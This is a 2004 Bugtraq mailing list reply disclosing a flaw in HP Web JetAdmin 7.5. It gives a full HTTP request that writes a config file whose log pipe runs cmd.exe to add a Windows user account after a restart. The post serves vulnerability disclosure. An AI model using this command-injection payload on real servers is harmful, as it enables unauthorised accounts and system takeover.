Bugtraq mailing list archives
Re: HP Web JetAdmin vulnerabilities.
From: H D Moore <sflist () digitaloffense net>
Date: Wed, 24 Mar 2004 15:38:38 -0600
On Wednesday 24 March 2004 13:59, wirepair wrote:
Product: HP Web JetAdmin Version 7.5.2546 Although I did not test, it may be possible to directly inject the hts scripting directly into the application using a tool like WebSleuth.
The following HTTP request would result in a user account being created once the server is restarted. Wirepair and I found this vulnerability independently, I tried to contact the vendor in mid-January and received no response, apparently he was more persistent :) https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD") -HD
Current thread:
- HP Web JetAdmin vulnerabilities. wirepair (Mar 24)
- Re: HP Web JetAdmin vulnerabilities. H D Moore (Mar 24)